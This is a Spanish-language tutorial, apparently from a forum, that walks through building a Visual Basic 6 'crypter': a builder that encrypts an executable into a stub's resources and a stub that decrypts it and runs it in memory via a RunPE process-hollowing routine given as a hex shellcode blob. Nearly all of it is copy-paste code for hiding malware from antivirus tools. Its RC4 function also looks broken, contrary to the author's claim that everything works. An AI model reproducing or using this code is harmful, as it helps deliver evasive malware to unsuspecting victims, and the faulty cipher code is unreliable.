Dejo esté tutorial de como hacer un crypter utilizando recursos como metodo de almacenamiento del archivo cifrado.
Creación del builder:
Primero abrimos el IDE de visual basic 6
Seleccionamos EXE estándar
Agregamos 1 Textbox y 2 Buttons
Damos unos arreglos a las propiedades de los objectos para que no se vea tan cutre
Vamos a Proyecto > Componentes
Seleccionamos Microsoft Common Dialog Control 6.0
Arrastramos el icono del Common Dialog hacia el Form
Cambiamos el nombre del objecto a cd (Solo para mayor comodidad)
Hacemos doble clic sobre el boton Buscar
Pegamos el siguiente codigo:
cd.DialogTitle = "titulo ventana" 'Definimos el titulo de la ventana
cd.Filter = "Ejecutables (.exe)|*.exe" 'Filtro solo para archivos .exe
cd.FileName = vbNullString 'Vaciamos la variable cd.filename
cd.InitDir = App.Path & "\" 'El directorio inicial será la ruta de la aplicacion
cd.ShowOpen 'mostramos el Common Dialog
If cd.FileName <> vbNullString Then 'Si el archivo seleccionado es diferente a 'nada'
Text1.Text = cd.FileName 'ponemos la ruta del archivo en el text1
End If
Agregamos un nuevo modulo
Pegamos el siguiente codigo:
Option Explicit
Public Enum RT
RT_CURSOR = 1&
RT_BITMAP = 2&
RT_ICON = 3&
RT_MENU = 4&
RT_DIALOG = 5&
RT_STRING = 6&
RT_FONTDIR = 7&
RT_FONT = 8&
RT_ACCELERATOR = 9&
RT_RCDATA = 10&
RT_MESSAGETABLE = 11&
RT_GROUP_CURSOR = 12&
RT_GROUP_ICON = 14&
RT_VERSION = 16&
RT_DLGINCLUDE = 17&
RT_PLUGPLAY = 19&
RT_VXD = 20&
RT_ANICURSOR = 21&
RT_ANIICON = 22&
RT_HTML = 23&
RT_MANIFEST = 24&
End Enum
Private Const PADDING As String = "PADDINGXXPADDING"
Private Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Private Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Boolean
Private Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Boolean
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
'Version.Dll
Private Declare Function GetFileVersionInfo Lib "Version.dll" Alias "GetFileVersionInfoA" (ByVal lptstrFilename As String, ByVal dwhandle As Long, ByVal dwlen As Long, lpData As Any) As Long
Private Declare Function GetFileVersionInfoSize Lib "Version.dll" Alias "GetFileVersionInfoSizeA" (ByVal lptstrFilename As String, lpdwHandle As Long) As Long
Private Declare Function VerQueryValue Lib "Version.dll" Alias "VerQueryValueA" (pBlock As Any, ByVal lpSubBlock As String, lplpBuffer As Any, puLen As Long) As Long
Public Function AddResource(ByVal sFileName As String, ByVal lType As RT, ByVal lID As Long, ByRef Buff() As Byte, Optional bRepalcePadd As Boolean = True) As Boolean
Dim lUpdate As Long
Dim lLangId As Long
lLangId = GetLangID(sFileName)
'If Not lLangId = 0 Then
lUpdate = BeginUpdateResource(sFileName, False)
If Not lUpdate = 0 Then
If UpdateResource(lUpdate, lType, lID, lLangId, Buff(0), UBound(Buff) + 1) Then
If EndUpdateResource(lUpdate, False) Then
If bRepalcePadd Then Call ReplacePadd(sFileName)
AddResource = True
Exit Function
End If
End If
Call EndUpdateResource(lUpdate, True)
End If
'End If
End Function
Private Function GetLangID(ByVal sFileName As String) As Long 'By Cobein
Dim lLen As Long
Dim lHandle As Long
Dim bvBuffer() As Byte
Dim lVerPointer As Long
Dim iVal As Integer
lLen = GetFileVersionInfoSize(sFileName, lHandle)
If Not lLen = 0 Then
ReDim bvBuffer(lLen)
If Not GetFileVersionInfo(sFileName, 0&, lLen, bvBuffer(0)) = 0 Then
If Not VerQueryValue(bvBuffer(0), "\VarFileInfo\Translation", lVerPointer, lLen) = 0 Then
CopyMemory iVal, ByVal lVerPointer, 2
GetLangID = iVal
End If
End If
End If
End Function
Public Sub ReplacePadd(ByVal sFileName As String) 'By Cobein
Dim iFile As Integer
Dim sBuff As String
Dim sReplace As String
sReplace = String$(Len(PADDING), Chr(&H0))
iFile = FreeFile
Open sFileName For Binary Access Read Write As iFile
sBuff = Space$(LOF(iFile))
Get iFile, , sBuff
sBuff = Replace$(sBuff, PADDING, sReplace)
Put iFile, 1, sBuff
Close iFile
End Sub
Hacemos doble clic sobre el boton Guardar
Pegamos el siguiente codigo:
'Declaracion de variables
Dim codigo As String
Dim clave As String
Dim RutaStub As String
Dim IDRecurso As Long
Dim TipoRecurso As Long
'------------------------
RutaStub = App.Path & "\Stub.exe" 'Definimos la ruta para el stub
clave = "Ninfrock-Tutorial" 'Definimos la contraseña
codigo = RC4(ReadFile(Text1.Text), clave) 'Leemos el archivo que elegimos y lo encriptamos
IDRecurso = 1234 'Definimos el ID que le asignaremos al recurso que vamos a agregar
TipoRecurso = 5678 'Definimos el Tipo que le asignaremos al recurso que vamos a agregar
cd.DialogTitle = "titulo ventana" 'Definimos el titulo de la ventana
cd.Filter = "Ejecutables (.exe)|*.exe" 'Filtro solo para archivos .exe
cd.FileName = vbNullString 'Vaciamos la variable cd.filename
cd.InitDir = App.Path & "\" 'El directorio inicial será la ruta de la aplicacion
cd.ShowSave 'mostramos el Common Dialog
If cd.FileName <> vbNullString Then 'Si el archivo seleccionado es diferente a 'nada'
FileCopy RutaStub, cd.FileName 'copiamos el stub a la ruta seleccionada
AddResource cd.FileName, TipoRecurso, IDRecurso, StrConv(codigo, vbFromUnicode) 'agregamos el recurso
MsgBox "Archivo cifrado" 'Mostramos mensajito feliz :D
End If
También agregamos estas 2 funciones:Function ReadFile(file As String) As String
Open file For Binary As 1
ReadFile = Space(LOF(1))
Get 1, , ReadFile
Close 1
End Function
Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
El builder está listo.
Creación del stub:
Primero abrimos el IDE de visual basic 6
Seleccionamos EXE estándar
Hacemos doble clic sobre el form
Pegamos el siguiente codigo:
'Declaracion de variables
Dim codigo As String
Dim clave As String
Dim IDRecurso As Long
Dim TipoRecurso As Long
'-----------------------
clave = "Ninfrock-Tutorial" 'Debemos tener la misma contraseña que en el builder
IDRecurso = 1234 'Mismo ID que en el builder
TipoRecurso = 5678 'Mismo tipo que en el builder
codigo = RC4(StrConv(LoadResData(IDRecurso, TipoRecurso), vbUnicode), clave) 'cargamos el archivo y lo deciframos
RunPE App.Path & "\" & App.EXEName & ".exe", StrConv(codigo, vbFromUnicode) 'inyectamos en memoria
End 'nos cerramos :P
También agregamos estas 2 funciones:Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
Public Sub RunPE(ByVal TargetHost As String, bBuffer() As Byte)
Dim i As Long
Dim j As Long
Dim k As Long
Dim s_ASM(7) As String
Dim b_ASM(1287) As Byte
s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
For i = 0 To 7
For j = 1 To 322 Step 2
b_ASM(k) = CByte("&H" & Mid$(s_ASM(i), j, 2)): k = k + 1
Next j
Next i
CallWindowProcW VarPtr(b_ASM(0)), StrPtr(TargetHost), VarPtr(bBuffer(0)), 0, 0
End Sub
Agregamos esta API al inicio de todo el codigo:
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
El stub está listo.
Compilamos ambos proyectos, y probamos, si seguimos todo como dice el tutorial, funcionará perfectamente.
Saludos!